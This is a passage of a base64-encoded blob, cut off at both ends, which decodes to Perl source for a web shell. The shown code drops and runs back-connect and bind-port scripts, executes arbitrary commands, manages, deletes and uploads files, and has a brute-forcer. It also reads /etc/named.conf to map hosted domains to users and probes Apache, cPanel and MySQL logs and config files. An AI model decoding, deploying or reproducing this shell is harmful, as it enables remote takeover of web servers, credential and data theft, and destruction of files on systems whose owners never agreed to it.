mFja2Nvbm5lY3QucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfWVsc2UKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7CgkJaWYoLXcgIi90bXAiKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUm1EaXIoJCkgCnsKCW15ICRkaXIgPSBzaGlmdDsKCWlmKG9wZW5kaXIoRElSLCRkaXIpKQoJewoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCXsKCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQoJCQl7CgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsKCQkJCWlmKC1kICRmaWxlKQoJCQkJewoJCQkJCSZSbURpcigkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJdW5saW5rKCRmaWxlKTsKCQkJCX0KCQkJfQoJCX0KCQljbG9zZWRpcihESVIpOwoJfQp9CnN1YiBGaWxlT3duZXIoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOwoJCWlmKCRXaW5OVCkKCQl7CgkJCXJldHVybiAiPz8/IjsKCQl9CgkJZWxzZQoJCXsKCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7CgkJCSRncm91cD1nZXRncmdpZCgkZ2lkKTsKCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7CgkJfQoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBQYXJlbnRGb2xkZXIoJCkKewoJbXkgJHBhdGggPSBzaGlmdDsKCW15ICRDb21tID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgLi4iLiRDbWRTZXAuJENtZFB3ZDsKCWNob3AoJHBhdGggPSBgJENvbW1gKTsKCXJldHVybiAkcGF0aDsKfQpzdWIgRmlsZVBlcm1zKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglteSAkdXIgPSAiLSI7CglteSAkdXcgPSAiLSI7CglpZigtZSAkZmlsZSkKCXsKCQlpZigkV2luTlQpCgkJewoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQoJCQlyZXR1cm4gJHVyIC4gIiAvICIgLiAkdXc7CgkJfWVsc2UKCQl7CgkJCSRtb2RlPShzdGF0KCRmaWxlKSlbMl07CgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7CgkJCXJldHVybiAkcmVzdWx0OwoJCX0KCX0KCXJldHVybiAiMDAwMCI7Cn0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkbGEpID0gKHN0YXQoJGZpbGUpKVs5XTsKCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOwoJCSR5ID0gJHkgKyAxOTAwOwoJCUBtb250aCA9IHF3LzEgMiAzIDQgNSA2IDcgOCA5IDEwIDExIDEyLzsKCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsKCQlyZXR1cm4gJGxtdGltZTsKCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgRmlsZVNpemUoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1mICRmaWxlKQoJewoJCXJldHVybiAtcyAiJGZpbGUiOwoJfQoJcmV0dXJuICIwIjsKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgVHJpbVNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXC9cLy9cLy9nOwoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOwoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7CglpZigtZCAkcGF0aCkKCXsKCQlteSBAZm5hbWUgPSAoKTsKCQlteSBAZG5hbWUgPSAoKTsKCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpCgkJewoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQkJewoJCQkJJGY9JHBhdGguJGZpbGU7CgkJCQlpZigtZCAkZikKCQkJCXsKCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOwoJCQkJfQoJCQl9CgkJCWNsb3NlZGlyKERJUik7CgkJfQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsKCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7CgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPgoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+CgkJPHRoIHdpZHRoPScxMDAnPkZpbGUgU2l6ZTwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPk93bmVyPC90aD4KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPkxhc3QgTW9kaWZpZWQ8L3RoPgoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3RoPjwvdHI+IjsKCQlteSAkc3R5bGU9Im5vdGxpbmUiOwoJCW15ICRpPTA7CgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGQgPSAmdHJpbSgkZCk7CgkJCSRkaXJuYW1lPSRkOwoJCQlpZigkZCBlcSAiLi4iKSAKCQkJewoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsKCQkJfQoJCQllbHNpZigkZCBlcSAiLiIpIAoJCQl7CgkJCQluZXh0OwoJCQl9CgkJCWVsc2UgCgkJCXsKCQkJCSRkID0gJHBhdGguJGQ7CgkJCX0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgY2xhc3M9J2Rpcic+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkZCkuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsKCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOwoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKTsgcmV0dXJuIGZhbHNlO1wiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGQwbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPldhcm5pbmcgISBTaGVsbCBpcyB1c2VkIHRvIHJlZmVyIG5vdCB0byBoYWNrPC9mb250PjwvaDM+IjsKCWlmICgkZXJyKQoJewoJCSRyZXN1bHQgLj0gICgnPHA+QzB1bGRuXCd0IEJ5cGFzcyBpdCAsIFNvcnJ5PC9wPicpOwoJCXJldHVybiAkcmVzdWx0OwoJfWVsc2UKCXsKCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsKCX0KCWZvcmVhY2ggbXkgJG9uZSAoQGNuenMpCgl7CgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykKCQl7CQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZmlsZW5hbWU9IHRyaW0oIi9ldGMvdmFsaWFzZXMvIi4kMSk7CgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsKCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOwoJCX0KCX0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBWaWV3IExvZwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3TG9nCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCWlmKCRXaW5OVCkKCXsKCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOwoJfQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsKCW15IEBwYXRobG9nPSgJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZTIvY29uZi9odHRwZC5jb25mJywKCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xpY2Vuc2VfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywKCQkJJy92YXIvY3BhbmVsL2NwYW5lbC5jb25maWcnLAoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLAoJCQknL3Vzci9sb2NhbC9waHA1L2xpYi9waHAuaW5pJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywKCQkJJy92YXIvbG9nL215c3FsZGVycm9yLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLAoJCQknL3Zhci9teXNxbC5sb2cnLAoJCQknL3Zhci9saWIvbXlzcWwvbXkuY25mJywKCQkJJy9ldGMvbXlzcWwvbXkuY25mJywKCQkJJy9ldGMvbXkuY25mJywKCQkJKTsKCW15ICRpPTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJCWlmKC1yICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJfQoJCSRyZXN1bHQgLj08PEVORDsKCQk8dHI+CgoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+CgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImxvZyRpIiBuYW1lPSJjIiB2YWx1ZT0idGFpbCAtMTAwMDAgJGxvZyB8IGdyZXAgJy9ob21lJyIgc2l6ZT0nNTAnLz48L3RkPgoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJfQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZUcmltU2xhc2hlcyhkZWNvZGVfYmFzZTY0KHRyaW0oJGlueydkJ30pKSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9tcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbgp7CgkmUGVyZm9ybUxvZ2luOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5CnsKCSZQcmludFBhZ2VIZWFkZXIoImQiKTsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCRjaG1vZCBuZSAwKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQlpZihjaG1vZCgkY2htb2QsJGZpbGUpKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZigkcmVuYW1lIG5lICIiKQoJewoJCWlmKHJlbmFtZSgkVHJhbnNmZXJGaWxlLCRyZW5hbWUpKQoJCXsKCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCX1lbHNlCgkJewoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCX0KCX0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsKCWlmKCRyZW1vdmUgbmUgIiIpCgl7CgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsKCQlpZigtZCAkcm0pCgkJewoJCQkmUm1EaXIoJHJtKTsKCQl9ZWxzZQoJCXsKCQkJaWYodW5saW5rKCRybSkpCgkJCXsKCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQkJfWVsc2UKCQkJewoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQkJfQkJCQoJCX0KCX0KCXByaW50ICZMaXN0RGlyOwoKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZAp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7Cn0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQoJewoJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCX1lbHNlCgl7CgkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCX0KCXByaW50ICZMaXN0RGlyOwp9ZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CglwcmludCAmVXBsb2FkRmlsZTsKfWVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGV